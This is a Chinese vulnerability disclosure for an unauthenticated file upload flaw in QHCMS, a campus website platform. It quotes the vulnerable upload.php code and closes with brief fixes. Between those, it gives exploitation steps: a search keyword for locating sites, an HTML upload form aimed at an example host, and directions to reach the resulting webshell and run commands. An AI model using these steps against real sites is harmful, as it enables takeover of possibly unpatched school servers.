江苏地区的很多校园网站都在使用一款名为QHCMS的内容管理系统,关于这套整站系统,在网上的信息寥寥无几,只能查到这些网站的设计者都是南京冠邦网络技术有限公司。最近朋友给我了整套系统的源代码,发现2005年开发的系统漏洞真的是太多了,其中最严重的还是任意文件上传漏洞,目前已向乌云报告,截至本文更新时厂商仍未作出回应。 漏洞标题: 冠邦校园网平台(QHCMS)任意文件上传漏洞
相关厂商: 南京冠邦网络技术有限公司
提交时间: 2014-02-12 12:22
漏洞类型: 文件上传导致任意代码执行
危害等级: 高
简要描述: 冠邦校园网平台的文件上传部分存在绕过漏洞,允许未登录的用户直接上传可执行文件。 漏洞分析 该漏洞是由于/editor/fckeditor/filemanager/upload/php/upload.php和upload2.php未经任何验证直接接受任意格式的上传文件所致,你可以看看它的“强大逻辑”: <?php
$savefilename = $_FILES['FCKeditor_File']['name'];
//为了解决中文问题,统一把中文重新进行命名,我们使用md5保证文件名唯一
if(preg_match("/[-þ]([-þ]|[@-þ])/",$_FILES['FCKeditor_File']['name'])){
$stmp=pathinfo($_FILES['FCKeditor_File']['name']);
$savefilename = "cnfile".md5($_FILES['FCKeditor_File']['name']).($stmp["extension"] ? ".".$stmp["extension"] : "");
}
if (file_exists($UPLOAD_BASE_DIR.$savefilename)) {
echo "错误 : 文件 ".$_FILES['FCKeditor_File']['name']." 已经存在,请更改本地文件名后重新上传。如的确需要覆盖,请以管理员身份登录进入后台“数据”-〉“发文上传文件处理”处理该文件";
echo '
';
} else {
if (is_uploaded_file($_FILES['FCKeditor_File']['tmp_name'])) {
// $savefile = $UPLOAD_BASE_DIR.$_FILES['FCKeditor_File']['name'];
$savefile = $UPLOAD_BASE_DIR.$savefilename;
if (move_uploaded_file($_FILES['FCKeditor_File']['tmp_name'], $savefile)) {
chmod($savefile, 0666);
?>
";
<?php
}
} else {
echo "错误 : ";
switch($_FILES['FCKeditor_File']['error']) {
case 0: //no error; possible file attack!
echo "文件上传错误";
break;
case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
echo "文件太大";
break;
case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
echo "T文件太大";
break;
case 3: //uploaded file was only partially uploaded
echo "文件没有上传完全";
break;
case 4: //no file was uploaded
echo "没有选择文件上传";
break;
default: //a default error, just in case! :)
echo "文件上传错误";
break;
}
}
echo '
';
} ?>
漏洞利用 1. 以“qhcmsadmin”为关键字,搜索使用冠邦校园网平台的网站。 2. 将以下代码保存为.html,手动POST一句话: <form enctype="multipart/form-data" action="http://www.EXAMPLE.com/editor/fckeditor/filemanager/upload/php/upload.php" method="post">
<input name="FCKeditor_File" type="file">
<input type="submit" value="Upload">
</form>
3. 上传成功则保存在http://www.EXAMPLE.com/images/stories/editorupload/下,使用原始文件名访问即可拿到Webshell。 4. 该平台提供了一键环境部署安装包,但没有做PHP函数安全限制,导致可以执行任意CMD。 漏洞修复 对于有开发经验的站长,可以自己为upload.php和upload2.php添加上传文件后缀名验证机制;如没有相关经验,可用.htaccess限制白名单之外的IP访问这些文件。
|